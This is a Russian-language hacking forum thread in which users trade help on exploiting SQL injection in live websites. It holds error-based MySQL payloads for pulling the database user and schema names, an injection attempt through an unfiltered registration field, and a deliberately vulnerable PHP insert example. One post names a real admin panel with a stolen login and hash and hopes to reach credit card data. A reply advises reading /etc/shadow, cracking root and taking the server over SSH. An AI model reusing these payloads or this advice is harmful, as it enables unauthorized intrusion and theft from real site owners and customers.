Подскажите что за ошибка, каким способом можно раскрутить? An error occurred Page not found Exception information: Message: Invalid controller specified (about') Stack trace: #0 /opt/http/www/library/Zend/Controller/Front.php(954): Zend_Controller_Dispatcher_Standard->dispatch(Object(Zend_Controller_Request_Http), Object(Zend_Controller_Response_Http)) #1 /opt/http/www/library/Zend/Application/Bootstrap/Bootstrap.php(97): Zend_Controller_Front->dispatch() #2 /opt/http/www/library/Zend/Application.php(366): Zend_Application_Bootstrap_Bootstrap->run() #3 /opt/http/www/public/index.php(27): Zend_Application->run() #4 {main}Request Parameters: array ( 'controller' => 'about\'', 'action' => 'union', 'select' => '1', 'module' => 'default', )
SELECT ID, NicName, DateReg FROM a_Accounts WHERE ID=-1 OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(MID(USER(), 1,63), FLOOR(RAND(0)*2))) -- как получить group_concat(TABLE_SCHEMA) from information_schema.tables?
HTML: -1+OR+(SELECT+COUNT(*)+FROM+(SELECT+1+UNION+SELECT+2+UNION+SELECT+3)x+GROUP+BY+CONCAT(MID((SELECT+GROUP_CONCAT(SCHEMA_NAME)+FROM+INFORMATION_SCHEMA.SCHEMATA),1,63),FLOOR(RAND(0)*2)))
Всем привет! Есть такая таблица на сервере. Code: CREATE TABLE IF NOT EXISTS `login` ( `id` int(11) unsigned NOT NULL auto_increment, `userid` varchar(23) NOT NULL default '', `user_pass` varchar(23) NOT NULL default '', `mode` enum('one','two') NOT NULL default 'one', `email` varchar(39) NOT NULL default '', PRIMARY KEY (`id`), KEY `name` (`userid`) ) ENGINE=MyISAM AUTO_INCREMENT=1000000; И примерно такой SQL запрос: При регистрации на сайте не фильтруется поле "mode": Возможно к уязвимому запросу добавить свой запрос? Я пробовал подставить "two','[email protected]'); SELECT * FROM `login`; -- ", но получил ошибку: Какие возможности открывает данная уязвимость?
Таким запросом вы никогда ничего и не добъетесь. Ну кроме ошибки. Предположим что поле email выбирается из базы где-то, то тогда в уязвимый параметр вводи: ', подзапрос)-- 1 Иначе можно спровоцировать ошибку, тоже много вариантов.
Redwood, спасибо за ссылку на пост. Там говорится о том что мы можем вписать произвольные значения в базу в текущий запрос или спровоцировать ошибку duplicate entry и выводить инфу через нее. В моем случае я могу записать произвольное мыло при регистрации. А на счет "спровоцировать ошибку duplicate" у меня скорее всего не применимо. Потому что "on duplicate key update" срабатывает когда мы питаемся в поле "UNIQUE index or PRIMARY KEY" записать значение, которое уже есть в базе. У меня оно генерируется само(AUTO_INCREMENT). Верно? ~d0s~, email не выбирается из базы, его тоже вводит пользователь в форме регистрации. Вы предлагаете заместо мыла передать вложенный SQL запрос? Если да, то напишите пожалуйста пример.
Какой смысл инсертить свои данные в базу, если они нигде не выбираются в итоге, вывода то все равно не будет! Вывод в ошибке вам в помощь. Вам уже много раз сказали про вывод в ошибке. Раз вы приводили нам выплянутую майскулом ошибку синтаксиса в самом начале, то не вижу преград для проведения атаки.
~d0s~, в том то и дело, что вывода нету. Есть только регистрация аккаунта в игре. Функционала для того чтобы пользователь мог войти на сайте нету. Вопрос создавал с надеждой, что можно прикрепить свой SQL запрос(INSERT), чтобы вставить свои значения в другую таблицу(структура таблиц известна). Либо путем ошибок MySQL получать данные. Если нигде на сайте не выводится значение поля email, то мы ничего не можем сделать кроме как подмены мыла введенного при регистрации в форме. Верно?
Вывод уязвимого поля на страницу, на вывод в ошибке не влияет. Вывод отработает и при таком коде: PHP: <form action = '?' method = 'post'> <input type = 'text' name = 'login'> <input type = 'submit' value = 'ok'> </form> <?php $connect = mysql_connect('localhost','root','') or die(mysql_error()); $login = $_POST['login']; $query = mysql_query ("INSERT INTO `site`.`admin` VALUES ('id','$login','antichat')") or die(mysql_error()); ?> UPD: Дополнил вышеприведенную ссылку методом выборки на основе временных задержек.
Немного странно. Вот есть сайт с которого логин/пасс стащил Админка: http://www.franchisedocuments.com/zen/admin/login.php Логин: frandocs Защита от нубов: 5a042913e5074bc846784dd2066456d2:26 Но вот когда вводим правильный логин/пасс не пишет что введено неправильно, но и не заходит. В чем причина то? Что неприятно, так это то что там СС быть могут, и на завершающем этапе такой облом.
Узнай инклюд это или нет. Если инклюд, то читай статьи по LFI\RFI (тыц к примеру). Если читалка, то изучи сорцы сайта. Вполне возможно, что уже кто-то похекал и поломал сайт. Либо это не та админка или не те данные.
читай /etc/shadow (или /etc/master.passwd), расшифровывай пассы (рут само собой в приоритете), коннекться по ssh и властвуй
Привет всем... Нужна помощь с SQL Injection Запросы: 1. http://site.com/xmlstats.php?affid=100&dt=' 2. http://site.com/xmlstats.php?affid=100&dt=1' 3. http://site.com/xmlstats.php?affid=100&dt=1' OR 1=1 Ошибки: 1. XML Parsing Error: syntax error Location: http://site.com/xmlstats.php?affid=100&dt=%27 Line Number 1, Column 22:<?xml version="1.0"?>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '00:00:00' and '' 23:59:59'' at line 5 ---------------------^ 2. XML Parsing Error: syntax error Location: http://site.com/xmlstats.php?affid=100&dt=1%27 Line Number 1, Column 22:<?xml version="1.0"?>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '00:00:00' and '1' 23:59:59'' at line 5 ---------------------^ 3. XML Parsing Error: syntax error Location: http://site.com/xmlstats.php?affid=100&dt=1%27%20OR%201=1 Line Number 1, Column 22:<?xml version="1.0"?>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'OR 1=1 00:00:00' and '1' OR 1=1 23:59:59'' at line 5 ---------------------^ Есть ли возможность заюзать SQL Inection в данном случае? На месте &dt должна быть дата например 2011-03-19